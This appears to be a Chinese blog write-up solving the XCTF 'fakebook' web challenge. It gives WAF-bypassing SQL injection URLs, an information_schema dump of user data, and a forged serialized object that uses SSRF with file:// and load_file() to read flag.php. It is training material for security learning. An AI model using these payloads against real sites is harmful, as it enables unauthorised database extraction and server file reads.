攻防世界 fack

攻防世界 fack
在这里插入图片描述
**Nikoo 扫描 nikto -host http://urlbook
扫描到 robots.txt .Users.bak
观察源码:curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。参数url如果提供了该参数,CURLOPT_URL 选项将会被设置成这个值。

curl_setopt ( resource $ch , int $option , mixed $value ) 设置 cURL 传输选项,为 cURL 会话句柄设置选项。参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。(CURLOPT_URL:需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候。使用 CURLOPT_RETURNTRANSFER 后总是会返回原生的(Raw)内容。)
value:将设置在option选项上的值。

curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。

经过分析可得:
1,注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag。

2,get()函数存在ssrf漏洞。

显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以,我们的思路是,把flag的路径赋给blog,经过一系列操作最后会返回flag.php的内容。
我们先尝试注入:
order by 5时报错,可以判断字段数为4。
view.php?no=1 order by 4–+
输入union select 1,2,3,4提示no hack
于是尝试绕过WAF 改为union//view.php?no=0 union//select 1,2,3,4 --+
view.php?no=0 union//select 1,2,3,4–+
view.php?no=0 union/
/select 1,database(),3,4–+
view.php?no=0 union//select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=‘fakebook’ and table_name=‘users’–+
view.php?no=0 union/
/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=‘fakebook’ and table_name=‘users’–+
view.php?no=0 union//select 1,group_concat(no,username,passwd,data),3,4 from users–+
在这里插入图片描述
之后会爆出来自己的注册的数据 数据是反序列的 通过ssrf 漏洞然后尝试利用ssrf漏洞读取flag.php。于是构造序列化的内容,里面要读取文件得使用file协议,基本的格式如: file:///文件路径
构造payload为:
view.php?no=0 union//select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:19;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’
F12审查源代码就可
第二种:
view.php?no=0%20union/
/select+1,load_file(%27/var/www/html/flag.php%27),5,6也可以直接爆出数据 即可得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值